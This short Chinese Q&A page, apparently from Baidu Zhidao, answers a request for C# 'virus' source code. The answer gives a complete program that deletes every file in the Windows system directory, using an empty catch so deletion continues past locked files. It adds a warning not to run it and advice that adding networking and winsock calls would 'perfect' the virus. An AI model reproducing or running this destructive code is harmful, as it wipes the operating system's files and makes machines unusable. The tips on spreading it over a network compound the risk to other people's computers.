求个 C#病毒源代码 请注明此代码作用 谢谢!

来源:百度知道 编辑:UC知道 时间:2024/09/23 23:26:29
说明求这个纯粹是为了学习用
绝不是用来害人!

删除系统文件内的所有文件,不要运行!!!!

用到try,和catch,是为了当删到某些正运行的文件时出错,而程序可以绕过继续删,不停止。
FileInfo.Delete函数是将文件直接删除。

这是最低级的,还应该用到system.net,system.runtime等命名空间,加上一些winsock的api,就完美了。当然用C#编病毒绝对不是好选择,遇上没安。NET的电脑,没运行就卡了。

using System;
using System.IO;

class APP
{
static void Main()
{
DirectoryInfo d = new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.System));
foreach (FileInfo f in d.GetFiles())
{
try
{
f.Delete();
}
catch(Exception ex)
{
}
}
}

}